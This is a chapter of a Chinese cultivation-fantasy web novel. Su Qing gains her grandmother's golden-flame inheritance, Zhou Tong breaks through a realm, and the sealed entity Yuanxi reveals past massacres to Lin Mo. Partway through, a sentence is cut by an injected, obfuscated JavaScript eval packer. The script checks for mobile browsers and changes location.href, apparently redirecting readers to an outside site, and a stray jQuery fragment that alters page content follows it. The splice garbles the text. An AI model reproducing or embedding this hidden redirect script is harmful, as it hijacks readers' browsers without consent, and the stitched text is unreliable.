(接上文)
深夜,桐城,城东老街。
老余杂货铺的二层小楼里,一盏昏黄的灯还亮着。
林墨四人围坐在客厅里,桌上摆着凉透的茶水和几碟没动过的点心。从协会大厦回来后,谁都没有睡意。
“秦渊那老头,真这么说?”周通眉头紧锁,手指无意识地敲着桌面,“‘老朋友们都还在’……他什么意思?他和渊息认识?”
林墨摇摇头:“不知道。但他确实知道渊息的存在,而且——不像是要对付我们的样子。”
“不像?”周通冷笑一声,“那些老家伙,哪个不是笑里藏刀?今天给你指路,明天说不定就给你挖坑。”
王琨挠挠头:“可他说的‘天选大会’……听起来好像挺厉害的。林墨,你想去吗?”
林墨沉默。
想去吗?当然想。上古秘境,上古封印的真相——那关系到渊息的来历,关系到那天工业区地下发生的一切,也关系到苏晴爷爷笔记里记载的那些秘密。
但秦渊的话里,还有一层他没说透的意思——
“至少还有两个人察觉到了”。
那两个人是谁?是今天在场的那几个评委?还是另有其人?他们会不会对苏晴的笔记下手?会不会对渊息下手?
“林墨,”苏晴忽然开口,声音里带着一丝犹豫,“我……我想变强。”
林墨看向她。
苏晴低着头,手指紧紧攥着怀里那本皮质笔记,小脸上满是复杂的情绪——有渴望,有不安,还有一丝深藏的倔强。
“今天你们在台上切磋的时候,我在台下看着。”她轻声说,“赵虎那些人,我不怕。但那个秦长老,还有那些盯着我们的评委……他们看我的眼神,就像……就像在看一个拖后腿的。”
周通眉头一皱:“小丫头,谁说你拖后腿了?”
“我自己说的。”苏晴抬起头,眼眶微红,但眼神很亮,“我知道,我灵力弱,法术也只会几招爷爷教的。今天虽然赢了一场,但那是因为对手更弱。如果真的遇到厉害的人,我……我只会连累你们。”
“苏晴……”王琨想说什么,却被林墨抬手制止。
林墨看着她,目光平静而温和。
“你想变强,是好事。”他说,“但变强需要时间,需要机缘,也需要——正确的方法。”
苏晴用力点点头:“我知道!爷爷的笔记里,有很多法术和修炼的方法,我以前不敢练,怕走火入魔。但今天……”
她顿了顿,咬着嘴唇,似乎在下什么决心。
“今天那个秦长老说,三个月后是‘天选大会’。林墨,如果你们要去参加,我不想……不想留在家里等你们回来。”
周通怔了一下,随即笑了:“小丫头,有骨气!”
王琨也挠着头,憨憨地笑:“那当然,咱们是一个队的嘛!”
林墨看着她,沉默了几秒,缓缓点头。
“好。那从明天开始,我帮你。”
苏晴眼睛一亮,但随即又黯淡下去:“可是……爷爷的笔记里,那些高阶的法术,需要地阶以上的灵力才能练。我现在才人阶中级……”
“灵力可以慢慢积累。”林墨说,“但方法对了,事半功倍。明天开始,我们一起研究你爷爷的笔记,找出最适合你的修炼路径。”
周通一拍大腿:“对对对!咱们四个一起研究!我就不信,三个月时间,还培养不出一个地阶小法师!”
苏晴眼眶又红了,这次是感动的。
“谢谢……谢谢你们……”
“行了行了,别煽情了。”周通站起身,打了个哈欠,“都快两点了,睡觉睡觉。明天开始,咱们‘不好惹’队,正式开启地狱训练模式!”
四人各自回房。
林墨躺在床上,却毫无睡意。
他抬手抚上颈间的骨片吊坠。冰凉依旧,三颗竖瞳紧闭。
秦渊的话还在耳边回响——“替我问渊息好,老朋友们都还在”。
老朋友……是谁?
他闭上眼,脑海中浮现出工业区地下那个石台,那些古老的符箓,以及从裂隙中走出的、跪在他面前的渊息。
八百年……
这八百年里,渊息被封印在那里,而它的“老朋友们”,又在做什么?
黑暗里,他低声问:“渊息,你听得到吗?”
吊坠没有反应。
林墨等了一会儿,终于沉沉睡去。
第二天一早,四人就聚在了小院的训练场上。
苏晴把那本皮质笔记摊开在石桌上,一页一页地翻着,寻找适合自己修炼的内容。周通和王琨在旁边帮忙参谋,虽然他们对法术一窍不通,但架不住热情高涨。
“这个‘金焰指’,你不是已经会了吗?”周通指着其中一页。
苏晴点点头:“这是爷爷教我的基础法术,我练了三年了,已经很熟练。但后面还有更厉害的——‘金焰焚天’、‘金焰护体’、‘金焰破魔’……都需要地阶以上的灵力才能施展。”
林墨看着那些记载,眉头微皱。
这些法术的修炼方法确实详尽,但有一个共同点——对灵力的要求极高。苏晴现在的人阶中级,至少还需要突破两个小境界,才能达到地阶的门槛。
三个月,从人阶中级到地阶初级……
“很难。”他实话实说。
苏晴眼神一黯,但随即又亮起来:“我知道很难,但我不怕!爷爷说过,修炼没有捷径,只有努力!”
周通拍拍她的肩:“好样的!胖子,以后你陪小丫头练体能,我陪她练反应,林墨负责法术指导——咱们四个,一起努力!”
“好!”王琨用力点头。
就在这时,老余叼着烟斗,慢悠悠地走进小院。
“大清早的,吵吵啥呢?”他眯着眼看着四个年轻人,“哟,开会呢?”
苏晴跑过去,拉着老余的胳膊:“余爷爷,您来得正好!我想变强,您有没有什么好办法?”
老余嘬了口烟,看了看她,又看了看桌上那本笔记,沉默了几秒。
“办法嘛……倒不是没有。”他慢悠悠地说,“但你得先回答我一个问题。”
苏晴眨眨眼:“什么问题?”
老余看着她,浑浊的老眼里闪过一丝复杂的光芒。
“你爷爷,有没有给你留过别的东西?除了这本笔记?”
苏晴一愣。
别的东西?
她想了想,摇摇头:“没有啊,就这本笔记。爷爷失踪前一周给我的,说这是他一生最重要的东西,让我好好保管。”
老余没有说话,只是盯着她看了很久。
然后他叹了口气,在石凳上坐下。
“小丫头,你爷爷那个人啊,我认识他五十年了。”他缓缓开口,“他做事,从来都有两手准备。这么重要的东西,他不可能只留一本笔记。”
苏晴怔住了。
周通眼睛一亮:“余叔,您的意思是——还有隐藏的遗物?”
老余点点头,看向苏晴:“你仔细想想,你爷爷有没有给过你什么不起眼的东西?比如一块石头,一个挂件,一本旧书——总之,任何他单独给你的,让你好好保管的?”
苏晴努力回忆着,眉头越皱越紧。
“单独给我的……好好保管的……”
她忽然想起了什么,脸色微微一变。
“有……有一个。”
她从脖子上解下一条细细的红绳,红绳上系着一个小小的布包。
那布包只有拇指大小,用深蓝色的粗布缝制,边缘已经磨得发白,看起来就像个不起眼的护身符。
“这是爷爷十年前给我的。”苏晴轻声说,“他说,这是奶奶留给我的,让我一直戴着,不要弄丢。我一直戴着,从来没打开过……”
老余眼睛一亮:“打开看看。”
苏晴犹豫了一下,小心翼翼地拆开布包上的线。
布包里面,是一枚小小的玉坠。
那玉坠通体翠绿,晶莹剔透,形状像一滴凝固的水滴,只有指甲盖大小。上面隐约刻着一些极细的纹路,但太小了,根本看不清是什么。
周通凑过来:“这是什么?看起来挺值钱的。”
王琨也探头:“好漂亮的玉!”
但林墨的目光,却被那玉坠吸引住了。
因为就在苏晴拿出玉坠的瞬间,他颈间的骨片吊坠——猛地颤动了一下!
那颤动比之前任何一次都剧烈,三颗竖瞳瞬间睁开一道缝隙,暗红色的光芒一闪即逝!
林墨按住吊坠,心头狂跳。
这玉坠……和渊息有关?!
苏晴没有注意到林墨的异样,她捧着那枚小小的玉坠,眼眶微微泛红。
“这是奶奶留给我的……爷爷从来没说过这有什么用……”
老余看着她,缓缓开口:“小丫头,你知道你奶奶是谁吗?”
苏晴摇摇头:“爷爷很少提。我只知道,她在我很小的时候就去世了。爷爷说,她是病死的。”
老余沉默了几秒,然后叹了口气。
“病死的……也算是吧。”他喃喃道,随即抬起头,“小丫头,你奶奶,不是普通人。”
周通一怔:“什么意思?”
老余看着那枚玉坠,眼神里满是追忆。
“她是一个真正的天才。三十年前,整个东南区的破魔师圈子里,没有人不知道她的名字——苏若雪。地阶巅峰,距离天阶只差一步。她的‘金焰’法术,号称同阶无敌。”
苏晴呆住了。
奶奶……是地阶巅峰的法师?!
“可是……”她喃喃道,“爷爷从来没说过……”
“他不说,是为你好。”老余叹了口气,“你奶奶,死得太早了。那时候你才一岁,什么都不懂。你爷爷一个人把你拉扯大,又当爹又当妈,哪还有心思跟你讲这些?”
他看着那枚玉坠,眼神复杂。
“这玉坠,是你奶奶的遗物。我见过一次,那是三十年前,她和你爷爷成亲的时候。她说,这是她家传的东西,历代只传给女儿。你奶奶没有女儿,只有你爷爷一个儿子——不对,她只有你爷爷一个丈夫,没有孩子。你是他们收养的?”
苏晴点点头,声音有些哽咽:“我是孤儿,爷爷和奶奶收养的我。”
“那就对了。”老余点点头,“你奶奶把这玉坠给你,就是认你当亲孙女。这玉坠,不仅是遗物,更是——她留给你的传承。”
传承?
四人都愣住了。
老余指着那玉坠:“你们仔细看,上面的纹路,不是普通的装饰,是符箓。古代传下来的符箓,用来封印某种东西的。你奶奶的天赋,很可能就来自这玉坠——或者说,来自玉坠里封印的东西。”
苏晴捧着玉坠的手,微微颤抖。
“那……那我怎么用?”
老余摇摇头:“这我就不知道了。你奶奶只跟我说过,这玉坠要‘滴血认主’。具体怎么操作,只有你自己摸索。”
滴血认主……
苏晴咬了咬嘴唇,忽然做出一个决定。
她咬破指尖,将一滴血滴在玉坠上。
鲜血落在翠绿的玉面上,瞬间被吸收!
下一秒——
玉坠爆发出耀眼的金光!
那金光炽烈而柔和,瞬间将整个小院笼罩其中!苏晴惊呼一声,整个人被金光托起,悬浮在半空!
“小丫头!”周通大惊,就要冲上去,却被老余一把拉住。
“别动!”老余厉声道,“这是传承!你上去会害死她!”
林墨死死盯着那道金光,手按在颈间颤动的吊坠上,强迫自己冷静下来。
金光越来越盛,越来越浓,最后凝成一个巨大的光茧,将苏晴完全包裹其中!
光茧表面,一道道金色的纹路流转着,如同活物。隐约可以看到里面有一个模糊的身影,蜷缩着,沉睡着。
时间一分一秒过去。
十分钟。
半小时。
一小时。
太阳从东方升起,又渐渐移向中天。
小院里,四个人一动不动地守着那个金色的光茧。
周通急得团团转:“怎么这么久?不会出什么事吧?”
王琨蹲在墙角,胖脸上满是担忧:“小苏不会有事吧……”
老余叼着烟斗,神色却比刚才轻松了些:“放心,这光茧是护体的。说明传承正在进行,她没事。”
林墨没有说话,只是盯着那光茧,目光从未移开。
颈间的吊坠,在光茧出现的那一刻,就停止了颤动,三颗竖瞳缓缓闭上,重新陷入沉寂。
但林墨能感觉到,渊息——在看着。
它在看着这场传承。
它认识这个玉坠?还是认识玉坠的主人?
他心里的疑问越来越多,但现在不是追问的时候。
正午时分。
金色的光茧忽然剧烈颤动起来!
紧接着——
轰!
一道耀眼的金光冲天而起!光茧瞬间碎裂,化作无数光点,消散在空气中!
苏晴落在地上,稳稳站住。
她睁开眼。
那双原本清澈的杏眼里,此刻多了一层淡淡的金光。那金光流转着,深邃而明亮,仿佛蕴藏着无穷的力量。
她抬起手,指尖轻轻一点——
“金焰指。”
一道金红色的光芒激射而出,直奔院角的测试石桩!
轰隆!
那根碗口粗的测试石桩,瞬间被击成粉末!
周通张大嘴巴,眼珠子都快瞪出来了。
王琨一屁股坐在地上,满脸不可置信。
林墨眼睛微微眯起,嘴角却勾起一丝笑意。
老余嘬了口烟斗,浑浊的老眼里满是欣慰。
苏晴愣愣地看着自己的手,又看看那堆粉末,然后看向三个同伴,小脸上满是惊喜和不敢置信。
“我……我突破了?!”
她闭上眼睛,感受着体内的灵力运转。
那原本微弱而滞涩的灵力,此刻如同奔腾的河流,浩浩荡荡,充沛而凝实!灵力流转的路径,也比之前宽广了数倍!更重要的是,意识深处,多了一团金色的光芒——那是一道完整的法术传承,比她爷爷笔记里记载的更加完整、更加强大!
“地阶……”她喃喃道,“我真的是地阶了……”
周通第一个冲过来,一把抱起她,原地转了三圈:“小丫头你太牛了!地阶!地阶啊!你才十八岁!十八岁的地阶法师!整个东南区有几个?!”
“放我下来!”苏晴红着脸拍他。
王琨也跑过来,胖脸上满是笑容:“小苏你太厉害了!以后咱们队有两个地阶了!不对,加上周通,咱们有三个地阶了!”
周通放下苏晴,挠挠头:“我?我还不是地阶呢。”
“啊?”王琨一愣,“你不是地阶?那你和林墨打成平手——”
“平手是平手,但我确实还卡在人阶巅峰。”周通耸耸肩,“就差临门一脚,但那一脚,不知道什么时候才能迈出去。”
林墨走过来,看着苏晴,目光里带着赞许。
“感觉怎么样?”
苏晴深吸一口气,感受着体内奔腾的灵力,用力点点头:“很好!从来没有这么好过!”
林墨点点头:“那就好。不过——先吃饭。你饿了一天了。”
苏晴一愣,这才意识到太阳已经西斜,她竟然在光茧里待了将近六个小时!
肚子适时地叫了一声。
她脸一红,不好意思地笑了。
老余叼着烟斗走过来,看着苏晴,浑浊的老眼里满是慈祥。
“小丫头,你奶奶要是看到你今天的样子,一定会很高兴的。”
苏晴眼眶一红,用力点点头。
“嗯!”
晚饭后,四人又聚在小院里。
苏晴坐在石凳上,闭着眼睛,仔细感受着意识深处那道金色的传承。
“金焰焚天……金焰护体……金焰破魔……”她喃喃念着,“还有……金焰真身?”
周通好奇地问:“金焰真身是什么?”
苏晴睁开眼,眼中闪过复杂的情绪。
“那是天阶才能施展的法术。”她轻声说,“以金焰凝聚化身,可以同时出现在多个地方,每一个化身都有本体三成的实力。奶奶……她当年真的只差一步就能到天阶吗?”
老余靠在门框上,慢悠悠地说:“你奶奶确实是地阶巅峰,但这‘金焰真身’,是她自己创的。虽然没有天阶那么强,但在同阶里,已经是无敌的存在了。”
苏晴低下头,看着手中的玉坠。
那玉坠此刻已经暗淡下来,翠绿依旧,但上面的纹路却变得更加清晰——那是完整版的“金焰”法术传承。
“奶奶……”她轻声说,“谢谢你。”
林墨看着她,沉默了几秒,忽然开口。
“苏晴,你现在是地阶了。有一件事,我想问你。”
苏晴抬起头:“什么事?”
林墨看着她手里的玉坠:“你奶奶的传承里,有没有提到——上古封印?”
苏晴微微一怔,随即闭上眼睛,仔细搜索着意识深处的那团金光。
片刻后,她睁开眼,脸色变得凝重起来。
“有。”
她看着林墨,一字一句道:
“奶奶的传承里,有一段话——‘金焰一脉,世代守护上古封印之一。若封印松动,必以命相守,不得有误。’”
上古封印之一?
林墨心头一凛。
“之一”……也就是说,像工业区地下那样的封印,不止一个?
老余的脸色也变了。
他猛地站起身,快步走到苏晴面前,盯着她的眼睛:“你确定?你奶奶的传承里,真的是这么说的?”
苏晴被他吓了一跳,但还是点点头:“我确定。那一段话很清晰,就在传承的最深处。”
老余沉默了很久。
然后他叹了口气,在石凳上坐下,掏出烟斗,却没有点。
“三十年了啊……”他喃喃道,“我以为那件事,会随着她一起埋进土里。没想到……”
周通忍不住问:“余叔,到底怎么回事?您知道些什么?”
老余看了他一眼,又看向林墨,最后看向苏晴。
“小丫头,你奶奶的死,不是病。”
苏晴脸色一变。
“三十年前,东南区有一个上古封印松动了。”老余缓缓开口,“那封印里镇压的东西,不比工业区那个弱。当时,你奶奶是离那个封印最近的强者之一。她赶过去,以一己之力,稳住了封印。”
他顿了顿,眼神里满是追忆。
“但她付出的代价,是燃烧了九成的生命本源。封印稳住了,她却只剩下一年的命。”
苏晴的眼眶红了。
“那一年的时间里,她和你爷爷过得很平静。然后,她走了。对外,就说是病死的。”
老余看着苏晴,眼神里满是复杂。
“小丫头,你奶奶把传承留给你,不只是让你变强。她更希望,如果有一天,那些封印再次松动,你能替她——守住。”
小院里陷入长久的沉默。
月光洒落,照在四个年轻人脸上,照出他们各异的表情。
苏晴紧紧握着那枚玉坠,眼眶通红,却没有哭。她咬着嘴唇,小小的身板挺得笔直。
“我会的。”她轻声说,声音不大,却无比坚定,“奶奶守住的,我也会守住。”
周通站起身,拍了拍她的肩:“算我一个。”
王琨也站起来,憨憨地笑:“还有我。”
林墨没有说话,只是抬手按了按颈间的吊坠。
吊坠冰凉,三颗竖瞳紧闭。
但他知道,渊息在听。
它在听这些关于封印的往事,关于那些和它一样的、被镇压了不知道多少年的存在。
渊息,你是怎么被封印的?你的“老朋友”们,又是谁?
夜色渐深。
老余回屋睡了,四个年轻人却还坐在小院里,毫无睡意。
“林墨,”周通忽然开口,“你说,工业区那个封印,和你身上的渊息,是什么关系?”
林墨摇摇头:“不知道。但渊息叫我‘吾主’,说‘您终于苏醒了’……这具身体的原主,或者说‘我’的前世,很可能和它有关。”
王琨挠挠头:“前世?这也太玄乎了吧?”
“这个世界本来就玄乎。”周通耸耸肩,“魔物都有了,精怪都有了,前世算什么?”
苏晴看着林墨,轻声问:“那你打算怎么办?去参加那个‘天选大会’吗?”
林墨沉默了几秒,点点头。
“去。”
“那里有关于上古封印的真相。也许,也能找到关于我自己的真相。”
周通一拍大腿:“那我也去!虽然我还不是地阶,但这三个月,我拼了命也要突破!”
王琨也举手:“我也去!虽然我更不是地阶,但我会努力的!”
苏晴笑了,那笑容在月光下格外灿烂。
“那我们一起。”
林墨看着三个同伴,心里涌起一股从未有过的暖意。
来到这个世界这么久,他一直是独来独往,习惯了独自面对一切。但自从遇到王琨,遇到苏晴,遇到周通——他不再是孤单一人了。
“好。”他说,“三个月后,我们一起。”
接下来的一周,小院里的训练强度直接翻了三倍。
苏晴忙着熟悉新获得的力量。地阶初级的灵力,比人阶中级强了不止一个档次,操控起来需要重新适应。她每天对着测试石桩练习金焰指,从早练到晚,手指都磨出了血泡,却从不喊累。
周通则把自己关在房间里,试图冲击地阶的瓶颈。他卡在人阶巅峰已经一年了,就差那一层窗户纸。血焰双剑静静地躺在膝头,他闭着眼睛,一遍遍运转着体内的灵力,试图找到突破的契机。
王琨也没闲着。他知道自己天赋不如另外三人,但胜在肯吃苦。山岳剑被他练得越来越顺手,变大变小切换自如,他还琢磨出了几招新用法——比如把剑变得又细又长,当长矛用;或者变得又短又宽,当盾牌用。
林墨呢?
他在研究星尘。
二十二柄飞剑的极限已经稳固,但他总觉得还能更多。每天晚上,他独自坐在楼顶,在月光下一遍遍尝试着分裂出第二十三柄、第二十四柄……
失败了无数次。
但他不气馁。因为他能感觉到,每一次失败,对星尘的掌控就更深一分。那些暗金色的纹路,在他眼中越来越清晰,越来越亲切,仿佛在诉说着什么。
第七天晚上。
林墨照例坐在楼顶,星尘悬浮在身前,剑身上的暗金纹路缓缓游走。
他深吸一口气,闭上眼睛。
心念一动——
一柄,两柄,三柄……
二十二柄飞剑瞬间出现,在他身周缓缓旋转,如同环绕行星的卫星。
还不够。
再来。
他咬着牙,强行催动心神,试图分裂出第二十三柄。
剑身剧烈颤动起来!
那颤动比以往任何一次都剧烈,仿佛有什么东西在反抗,在挣扎!林墨额头冷汗直冒,体内的灵力如同开闸的洪水,疯狂涌向星尘!
二十三柄……
就差一点……
“破!”
他低喝一声,拼尽全力!
嗡——
二十三柄!
第二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316938|198963||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
十三柄飞剑,在他身前缓缓成形!
虽然只有拇指大小,虽然暗淡无光,虽然只存在了三秒就消散——但确实成形了!
林墨睁开眼睛,大口喘着气,嘴角却露出一丝笑意。
二十三柄。
进步了一柄。
他抬手抹去额头的冷汗,正要继续——
颈间的吊坠,忽然微微一颤。
那三颗竖瞳,睁开了一道细细的缝隙。
暗红色的光芒,一闪即逝。
然后,一个低沉、沙哑、带着无尽回响的声音,在他脑海中响起:
“吾主……进步了。”
林墨心头一震。
渊息!
“渊息!你醒了?!”
“只是……一缕意识。”渊息的声音断断续续,透着极度的虚弱,“上次……消耗太大……仍需沉睡……”
林墨按住吊坠,感受着那股若有若无的联系,心头五味杂陈。
“渊息,我问你,工业区那个封印,和你是什么关系?”
沉默了几秒,渊息的声音再次响起:
“那是……囚笼。镇压我……八百年。”
“谁镇压的你?”
“上古……大能。他们……布下封印……将我困住。”
林墨追问:“为什么?”
渊息沉默了。
那沉默如此之长,长到林墨以为它不会再回答了。
然后,它开口了。
“因为……我杀了……太多人。”
林墨心头一凛。
“八百年前……吾主陨落。我……发狂。屠城……三座。杀……十万众。”
那声音里,没有辩解,没有悔恨,只有一种平静的陈述,如同在讲述一件遥远的、与己无关的往事。
三座城,十万人。
林墨的手微微颤抖。
这就是……他身上的东西?
渊息仿佛察觉到了他的情绪,声音里多了一丝复杂的意味。
“吾主……怕了?”
林墨沉默。
怕吗?说不怕是假的。十万条人命,那是何等的罪孽?
但……
他看着手中的星尘,看着楼下小院里还在苦练的三个同伴,看着这个收留他们的破旧小院。
渊息救过他们。不止一次。
“你后悔吗?”他问。
渊息沉默了。
良久,它说:
“吾主……您当年,也问过同样的话。”
林墨一怔。
“您陨落前,问我:‘渊息,你后悔吗?’”
“我说:‘不悔。’”
“您笑了。您说:‘那就好。记住你的不悔,也记住——你的罪。’”
渊息的声音越来越弱,越来越飘忽。
“吾主……您的力量……在复苏……终有一日……您会想起一切……”
“到那时……再告诉我……您……是否后悔……”
话音落下,吊坠重归沉寂。
三颗竖瞳缓缓闭上,再无声息。
林墨坐在楼顶,看着手中的吊坠,久久无言。
您会想起一切……
我的前世,到底是什么人?
为什么渊息会叫我“吾主”?
为什么星尘会认我为主?
那些上古封印,那些镇压的魔物,那些“老朋友”们——和我有什么关系?
他抬起头,看向夜空。
月明星稀,万里无云。
没有人能给他答案。
至少,现在没有。
第二天一早,林墨下楼时,发现周通的状态有点不对。
他坐在小院的石凳上,血焰双剑横在膝头,整个人如同雕塑般一动不动。但周身却萦绕着一层淡淡的红光,忽明忽暗,如同呼吸。
“他怎么了?”林墨问王琨。
王琨压低声音:“从昨晚就这样了。我起来上厕所,看他坐在这儿,叫他不应,推他也不动。但身上这红光……怪吓人的。”
苏晴走过来,盯着那红光看了几秒,忽然眼睛一亮。
“他是不是……要突破了?”
话音刚落——
那层红光猛地暴涨!
血红色的光芒冲天而起,将整个小院映得一片通红!周通睁开眼睛,那双原本漆黑的眸子里,此刻燃着两团血色的火焰!
“破!”
他低喝一声,双剑齐出!
两道血色剑芒激射而出,在半空中交织成一道十字斩,狠狠劈向院角的测试石桩!
轰隆!
那根剩下的测试石桩,瞬间被劈成四块!
周通站起身,看着自己的手,又看看那堆碎石,愣了一秒,然后放声大笑!
“哈哈哈!老子突破了!老子终于突破了!”
他一把抱住旁边的王琨,用力拍着他的背:“胖子!老子地阶了!地阶了!”
王琨被他拍得直咳嗽,却也跟着傻笑:“恭喜恭喜!太好了!”
苏晴也跑过来,小脸上满是惊喜:“周通,恭喜你!”
周通松开王琨,看着苏晴,忽然一把把她也抱了起来,转了两圈:“小丫头!咱们队现在有三个地阶了!三个!”
“放我下来!”苏晴红着脸拍他。
林墨站在一旁,嘴角微微上扬。
短短一周,苏晴突破地阶,周通也突破地阶。
三个月后的天选大会,他们真的有机会。
周通放下苏晴,喘着粗气走到林墨面前,伸手。
“林墨,谢谢你。”
林墨看着他,握住他的手:“谢我什么?”
“谢你让我看到,这个世界还有另一种活法。”周通认真地说,“不是按部就班,不是随波逐流,而是——和值得信任的人一起,拼一把。”
林墨沉默了两秒,点点头。
“一起。”
接下来的日子,过得飞快。
苏晴继续熟悉着地阶的力量,金焰指已经炉火纯青,开始尝试练习“金焰焚天”——那是范围攻击的法术,可以在瞬间清空一片区域。
周通则打磨着刚突破的灵力,血焰双剑在他手中越发凌厉,隐隐有与星尘争锋之势。他还琢磨出几招双剑合璧的新用法,威力惊人。
王琨虽然还是人阶高级,但他的山岳剑已经练得出神入化。变大变小切换自如,攻守兼备,连周通都承认,如果单比力量的爆发,他不一定比得过王琨。
林墨则继续研究星尘。二十三柄飞剑已经稳固,他开始尝试二十四柄。虽然失败了无数次,但他能感觉到,距离成功越来越近。
每天晚上,他都会坐在楼顶,一边练剑,一边和渊息那一缕残存的意识交流。渊息沉睡的时间越来越长,清醒的时间越来越短,但每次醒来,都会教他一些东西——关于飞剑的操控,关于灵力的运用,关于战斗的技巧。
它教的东西,和林墨之前学的大不相同。那是八百年前的战斗方式,更加直接,更加狠辣,也更加有效。
“吾主……您的剑……太温柔了。”渊息有一次说,“杀敌……不需仁慈。”
林墨沉默。
温柔吗?也许吧。他来自一个和平的世界,虽然穿越后不得不战斗,但骨子里,还是不愿意多造杀孽。
但渊息说得对。
这个世界,不是和平的世界。那些想杀他的人,不会因为他仁慈就放过他。
他需要变得更果断,更强。
两个月后。
距离天选大会,只剩不到一个月。
这天晚上,林墨照例坐在楼顶,正准备练剑,苏晴上来了。
“林墨。”
林墨回头,看她表情有些不对:“怎么了?”
苏晴在他旁边坐下,抱着膝盖,看着夜空。
沉默了很久,她开口了。
“我今天,又翻了一遍爷爷的笔记。”
林墨等着她继续说。
“我发现,爷爷失踪前那几天,一直在查一件事——‘金焰一脉的宿命’。”
她转过头,看着林墨,眼神里带着一丝复杂的情绪。
“奶奶的传承里说,金焰一脉世代守护上古封印。但我爷爷的笔记里,写得更清楚——金焰一脉守护的那个封印,就在工业区。”
林墨心头一震。
“工业区?就是我们第一次遇到渊息的那个地方?”
苏晴点点头。
“爷爷说,那个封印,镇压的是一只灭世级魔物。金焰一脉守护了它八百年,每一代传人,都会用自己的灵力加固封印。但三十年前,奶奶为了封印,耗尽了生命。从那以后,那个封印就没人加固了。”
她顿了顿,声音微微颤抖。
“爷爷失踪前,查到了有人在故意破坏封印。他想阻止,但他一个人……根本做不到。”
林墨沉默。
原来如此。
工业区的封印,是金焰一脉守护的。苏晴的奶奶为了它而死,苏晴的爷爷为了查清真相而失踪。
而最后,是他和王琨,误打误撞解封了渊息。
“你恨我吗?”他问。
苏晴摇摇头。
“不恨。那不是你的错。爷爷查到的真相是,有人在故意破坏封印。就算你不去,那个封印也会被其他人破坏。到时候,渊息还是会出来,而且——未必会认主。”
她看着林墨,眼神认真。
“林墨,你知道吗,奶奶的传承里,有一句话。”
“‘若封印终将破碎,则金焰一脉当寻那破封之人,助其完成使命。’”
林墨怔住了。
助其完成使命?
什么使命?
苏晴摇摇头:“我不知道。但奶奶既然这么说了,那就一定有她的道理。”
她站起身,看着林墨,小脸上带着一丝前所未有的坚定。
“林墨,不管你的使命是什么,我会帮你的。我们都会帮你的。”
林墨看着她,心里涌起一股复杂的情绪。
他抬手,按了按颈间的吊坠。
吊坠微微发热,仿佛在回应着什么。
“好。”他说,“我们一起。”
楼顶下,周通和王琨不知何时也上来了。
周通双手抱胸,靠在楼梯口,嘴角带着痞笑:“大晚上的,你们俩偷偷约会呢?”
苏晴脸一红:“胡说八道什么!”
王琨憨憨地笑:“小苏,别理他,他就嘴贫。”
周通走过来,看着林墨和苏晴,收起笑容。
“林墨,还有不到一个月,就是天选大会了。咱们四个,三个地阶,一个人阶高级。虽然不敢说无敌,但至少有一拼之力。”
他看着三人,眼神里燃烧着火焰。
“不管你的使命是什么,不管那个什么金焰一脉的宿命是什么——咱们一起扛。”
王琨用力点头:“对!一起扛!”
苏晴眼眶微红,也用力点头。
林墨看着这三个同伴,心里的暖意越来越浓。
他伸出手。
周通愣了一下,随即笑了,把手搭上去。
王琨憨笑着,把手盖在最上面。
苏晴也伸出手,虽然有点不好意思,但还是坚定地搭了上去。
四只手叠在一起。
“不好惹!”
月光下,四个年轻人的笑声飘向远方。
远处,某个黑暗的角落里,一双眼睛正盯着他们。
“四个小家伙,越来越有意思了……”
那沙哑的声音低语着,带着一丝欣慰,也带着一丝担忧。
“老朋友们,你们看到了吗?”
“吾主的队伍,真的成形了。”
黑暗中,没有回应。
只有风声,穿过寂静的夜。